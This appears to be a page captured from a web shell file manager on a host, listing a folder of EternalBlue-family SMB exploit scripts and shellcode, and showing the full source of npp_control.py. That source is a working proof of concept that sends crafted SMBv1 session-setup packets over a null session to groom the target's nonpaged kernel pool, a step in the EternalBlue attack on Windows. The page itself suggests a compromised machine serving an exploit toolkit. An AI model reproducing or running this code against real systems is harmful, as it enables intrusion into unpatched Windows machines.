Gecko [ 196.203.21.74 ]

Name	Size	Permission
shellcode	[ DIR ]	drwxrwxrwx
BUG.txt	27.13 KB	-rw-rw-rw-
Nouveau document texte.txt	0 B	-rw-rw-rw-
README.md	3.29 KB	-rw-rw-rw-
checker.py	2.44 KB	-rw-rw-rw-
eternalblue_exploit7.py	25.12 KB	-rw-rw-rw-
eternalblue_exploit8.py	23.51 KB	-rw-rw-rw-
eternalblue_poc.py	3.71 KB	-rw-rw-rw-
eternalchampion_leak.py	1.51 KB	-rw-rw-rw-
eternalchampion_poc.py	2.53 KB	-rw-rw-rw-
eternalchampion_poc2.py	5.8 KB	-rw-rw-rw-
eternalromance_leak.py	1.61 KB	-rw-rw-rw-
eternalromance_poc.py	948 B	-rw-rw-rw-
eternalromance_poc2.py	4.99 KB	-rw-rw-rw-
eternalsynergy_leak.py	1.82 KB	-rw-rw-rw-
eternalsynergy_poc.py	2.95 KB	-rw-rw-rw-
infoleak_uninit.py	1.08 KB	-rw-rw-rw-
mysmb.py	16.28 KB	-rw-rw-rw-
mysmb.pyc	16.68 KB	-rw-rw-rw-
npp_control.py	1.8 KB	-rw-rw-rw-
pip.py	2.98 KB	-rw-rw-rw-
python	0 B	-rw-rw-rw-
smbold.py	41 KB	-rw-rw-rw-
win7.py	26.09 KB	-rw-rw-rw-
zzz_exploit.py	42.4 KB	-rw-rw-rw-

Code Editor : npp_control.py

#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys

'''
PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug

Note: The PoC does not support user authentication
'''

if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target, use_ntlmv2=False)

_, flags2 = conn.get_flags()

# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)
	
pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value
sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
sessionSetup['Parameters']['SessionKey']         = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*20
pkt.addCommand(sessionSetup)

conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
	print('SMB1 session setup allocate nonpaged pool success')
	conn.logoff()
else:
	print('SMB1 session setup allocate nonpaged pool failed')

conn.get_socket().close()

${this.title}

Code Editor : npp_control.py